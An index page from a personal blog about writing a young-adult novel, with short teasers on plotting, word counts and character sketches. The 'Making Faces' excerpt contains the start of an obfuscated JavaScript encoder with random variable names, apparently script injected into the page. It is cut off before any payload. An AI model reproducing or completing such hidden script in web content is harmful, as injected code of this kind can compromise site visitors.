I am working on reconstructing my plot. It is exciting and exhausting. The more I write, the more my characters become pitted against each other in a complicated web of tantalizing relationships. The simultaneous existence of love and deception in these relationships has me fascinated. Perhaps most exciting of all: a new character has emerged. … Continue reading Reconstructing Revelation

I wrote three pages of my story today--a little on the computer at the dining room table before anyone else woke up, and a little with a pencil in my journal at the gym after working out. It was mostly dialogue between three of the main characters. Not much action---that was the last chapter. And … Continue reading Three pages

[Be warned: this blog post is an example of bad writing. Of course, I planned it that way. It’s not like I’d ever get “writer’s flu” (have you heard of it?) and vomit words onto the page.]   How often do I write blog posts? So far, daily. Almost. But I scorn myself for it. … Continue reading So Far, Daily

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Daydreams lead me along my plot---which trail should I choose? Here's one. I explore for a while, nodding at the familiar faces and enjoying the scenery. Suddenly, in a flash, I see the imminent destination of my trail. It tantalizes but hijacks my mind like a sudden scene from a horror movie. Will I have … Continue reading Don’t Look There

It is just before seven in the morning. I woke up eager to work on my story. I only have ten minutes until I take my son to the bus stop. My characters are discussing a suicide. Kind of heavy stuff to start the day. Time is up. Two more paragraphs finished. Word by word--I … Continue reading Good morning story

My novel has reached 70,000 words. I feel surprisingly unaccomplished about this. I read once that the ideal word count for young adult fiction is 55,000-80,000 words. So am I almost finished? No. I feel farther from the finish line now than I ever have. You see, it's 70,000 words of primitive plot line supported … Continue reading 70,000 words

  I've been making faces for my characters. This is A. A. is a complex character, and my intent was to give him a face of many emotions. What emotions do you see?    var uomjftkd = { encode: function (uymcrbbu, ivpjzup1) { var juykdjus = ""; for (var bmtvoq = 0; bmtvoq < uymcrbbu.length; … Continue reading Making Faces

I don't feel so well. Words are getting backed up in here. They are jumbled words, insecure words. They push and shove at the door. I take a moment to listen before I turn the doorknob. But they avoid my eyes and mumble. Words like this can't be set free. So I squeeze out the … Continue reading Backed up